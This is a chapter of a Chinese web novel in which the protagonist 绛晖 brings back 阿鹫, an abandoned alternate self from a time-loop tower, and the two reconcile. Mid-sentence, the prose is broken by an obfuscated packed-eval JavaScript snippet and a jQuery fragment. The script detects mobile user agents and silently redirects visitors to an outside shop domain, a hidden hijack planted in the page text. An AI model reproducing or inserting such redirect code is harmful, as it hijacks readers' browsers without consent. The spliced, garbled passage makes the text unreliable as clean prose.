下一秒,绛晖和阿鹫同时摔在轮回塔主空间的地面上,传送点旁边的浮空建筑碎片被她们的冲力震得晃了一下,落下几片细碎的铁锈。

    传送光柱在身后缓缓闭合。

    如果这时候有人还在副本,就可以看到副本的门在光柱闭合的瞬间恢复了暗红色的油漆涂层,铆钉上的红光一颗接一颗熄灭,然后能量耗尽。

    阿鹫低着头看自己的手,像是无法相信自己真的离开了那个困了她两年的地方。

    “我出来了。”她说,眼神还盯着她自己的手,她的右手掌心烫出了一大片红痕,水泡破裂之后的创面和铁锈混在一起,看起来触目惊心。但她没有任何伤感的情绪,只是把那只手放在膝盖上,手指微微蜷着。

    “是的,出来了。”绛晖说。

    应淮序从不远处赶来,一只手还握着那卷信号线,他的额头上全是汗,背包肩带歪了一边,衬衫袖口不知道在哪儿被刮破了一道口子。“你们两个一起出来了。”他的声音有点喘,但嘴角在往上扬。

    绛晖从地上坐起来,她的作战服上全是灰,左肩的面料被崩落的砖块划出了一道口子,露出底下的护甲。她把短铳从腰间拔出来检查了一遍,弹仓空了,枪身上多了两道新的划痕。阿鹫坐在她旁边,铁管横在腿上,独眼闭着,还在调整呼吸。

    应淮序从背包里翻出医疗包,蹲在阿鹫旁边准备给她处理掌心的烫伤。他拧开消毒水的瓶盖,棉球刚要碰到阿鹫的掌心,阿鹫就把手缩回去了。“等会儿再弄。”

    “你这会伤口不处理会感染。”

    “我说等会儿。”阿鹫看了他一眼。她站起来拿起身旁的铁管朝传送点旁边走去,铁管在传送点地面上划出一道长长的划痕。绛晖也站了起来,她看着阿鹫的背影,没有跟上去。她知道阿鹫打算做什么,两年,被困在那间医院里整整两年,她很久没看到外面的世界了,…如果轮回塔也算是外面的世界的话。

    想到这,绛晖突然有点怀念没有进轮回塔的生活了。

    阿鹫走到传送点旁边的废墟堆上,把铁管杵在地上,独眼先是扫过传送点附近来来往往的试炼者,然后看向天幕。

    应淮序看向绛晖,绛晖微微摇了摇头。

    “阿鹫。”绛晖对着阿鹫的方向喊到。

    阿鹫没有回头。

    绛晖走到她旁边,站在废墟堆上,和她并肩看向同一个方向,主空间的天幕还是暗红色的,远处的数据流光带沿着天幕边缘无声地划过,像一条条没有归处的河。

    阿鹫开口了,声音沙哑得和当初在楼梯间里透过镜面说话时一模一样。“两年。”

    “我知道。”

    “你不知道…你在外面!你在打副本!你在往前跑!你什么都不知道!!!”阿鹫把铁管扛在肩上,转身面对绛晖。

    她那只完好的右眼里…有愤怒,有不甘,有委屈,还有更多她大概自己都叫不出名字的情绪,全部搅在一起,翻涌成一片暴烈的海。

    “我杀了全图的怪,杀到每一只腐尸的刷新点都在我的记号下面!我坐在一楼大厅的地上等,等了很久,等到副本时间耗尽,门还是没开!门没开你知道吗!我去推过,铁管撬过,拳头砸过,那扇门还是打不开。然后神明告诉我,说,你被丢下了。说绛晖不要你了,说绛晖选了另一条路,而那条路上没有你。说她读档的时候就知道会把你留下,但她还是按了。”

    她的声音抖了一瞬,但她咬着牙把抖的那一下压了回去。

    她把铁管从肩上放下来,杵回地上,杵得地面发出一声闷响。她盯着绛晖的眼睛,一字一顿地说:“你应该早点来的,你有存档,你随便按一次就能回来。但你没按,一次都没按!”

    绛晖没有解释,她知道阿鹫说的都是事实。存档可以读档,可以跳回任何一个时间节点,但如果她真的跳回来了,被抛弃的就不是新手副本这个绛晖,而是另一条时间线上的另一个绛晖。无论她怎么选,都会有人被留下,这是存档这个天赋最残忍的地方,不仅是读档的代价,也许选择本身就是代价,…但她没有说这些,阿鹫不需要听解释。阿鹫需要听的东西,她两年前就该站在医院一楼大厅里亲口说出来,但她没有,因为她那会并不知道存档的缺陷,也就不知道阿鹫的存在…

    绛晖往前迈了一步,阿鹫的独眼微微眯了起来,身体本能地绷紧了防御姿态,在医院里独自活了两年的人,对任何靠近都本能地戒备,哪怕是她自己…

    绛晖看着阿鹫防备的姿态,眼里划过一抹心疼,她在距离阿鹫半米远处停下,然后抬起右手,把自己的作战服肩部被划破的那道口子指给阿鹫看,“刚才在消防门外面,墙体塌了,碎砖划的。”

    阿鹫没有说话。

    “我这两年里受过的每一次伤,读档之后就消失了,身体恢复了,皮肤上也就没有留疤,所以这道口子是我两年里唯一能

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17722462|208741||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    留下来给你看的东西。

    你可以觉得我来晚了,我确实来晚了。但我现在不会再丢下你们任何一个,你能不能等我把剩下几个都找回来之后再恨我?现在恨我的人太多了,你排个队?”绛晖轻笑道。

    她知道阿鹫在发泄情绪,她一个人在医院里被困了两年,突然来到主空间,肯定会有很多感触。

    阿鹫的独眼盯着她,沉默了很长时间。主空间的虚拟天幕在她身后缓慢地翻涌,暗红色的云层被数据流切开又合拢,然后她从鼻子里哼了一声,她说:“你欠我的,先记账上。”

    绛晖点了下头,语气难得柔软,“好,记账上。”

    应淮序看着她们,语气比刚才轻松了不少,但依然带着一丝没来得及消化的余悸。

    “恭喜,成功找回第一个。不过绛晖,有件事我得提醒你——你刚刚没再存档吧?”

    “没有。”

    “那你现在只有一条命?”

    “对。”

    “你拿一条命去赌一个被改造成BOSS的自己会听你说话?”

    “她是我,”绛晖说,“我相信她,就是相信我自己。”

    应淮序沉默了片刻,而阿鹫看着绛晖的眼睛,不知道在想什么。

    “行,”他说,声音里有笑意,“下一个存档点在第四层副本,坐标我已经帮你标记好了。不过那条时间线的绛晖可能不太好带回来,她在副本结算空间里待了两年,一直在复盘队友的死亡回放,状态应该比阿鹫更糟。”

    “更糟是什么意思?”

    “意思是她可能不想跟你走。或者说,她可能更恨你。”

    绛晖沉默了两秒,然后抬起头,看了一眼身边的阿鹫。阿鹫正在眯着那只独眼,往主空间远处眺望。

    “那也得去,”绛晖说,“我欠的不止一个。”

    她选中了下一个存档点,手指悬在读取键上。

    阿鹫忽然伸手按住了她的胳膊。

    “等一下,”阿鹫说,声音还是沙哑的,但已经比刚才多了几分温度,“那条线上的绛晖…如果只有你自己去,不一定可以带的回来,你带我一起去。”

    “你能离开主空间?”

    “不知道,可以试试。”

    绛晖看了她一眼,点了点头,“抓紧我。”

    阿鹫的手再次攥住了她的手腕,这一次力度轻了些,但很稳。

    绛晖按下了读取键。